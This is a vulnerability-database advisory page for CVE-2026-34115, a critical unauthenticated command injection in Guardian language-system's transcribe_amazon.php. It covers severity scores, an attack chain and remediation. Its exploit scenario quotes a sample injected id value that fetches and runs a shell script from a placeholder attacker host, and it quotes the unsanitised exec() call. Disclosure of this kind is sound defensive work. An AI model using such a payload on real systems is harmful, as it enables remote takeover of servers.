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Guardian language-system CVE-2026-34115

| EUVDEUVD-2026-41074 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-vqvm-84q3-93x8
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated network-reachable endpoint with trivial injection gives AV:N/AC:L/PR:N/UI:N; shell-level RCE as the web-server user yields full C:H/I:H/A:H, no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:33 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in transcribe_amazon.php (line 15) without sanitization: exec(\"php jobs/transcribe_amazon.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian language-system's transcribe_amazon.php allows an unauthenticated remote attacker to run arbitrary operating-system commands on the host. The id GET parameter is concatenated directly into a PHP exec() call that shells out to a transcription job, so appending shell metacharacters (e.g. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Locate exposed transcribe_amazon.php endpoint
Delivery
Send GET request with malicious id parameter
Exploit
Shell metacharacters injected into exec() call
Execution
Arbitrary OS commands run as web-server user
Impact
Full host compromise and data access
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Vulnerability AssessmentAI

Exploitation Exploitation requires only network reachability to the transcribe_amazon.php endpoint and the ability to supply the id GET parameter - no authentication, no credentials, and no user interaction (PR:N/UI:N/AC:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Guardian language-system instance and sends an unauthenticated GET request to transcribe_amazon.php with an id value such as '1;curl http://attacker/x|sh'. The shell interprets the metacharacters and executes the attacker's payload as the web-server user, giving remote code execution; a public gist reference suggests proof-of-concept details may already be circulating, making opportunistic exploitation straightforward given the low attack complexity.
Remediation No vendor-released patch or fixed version is identified in the available data, so remediation must rely on compensating controls until the vendor issues a fix; consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-transcribe-amazon-php) for updates. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify all Guardian language-system deployments, disable the transcribe_amazon.php endpoint, and assess network exposure of affected systems. …

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CVE-2026-34115 vulnerability details – vuln.today
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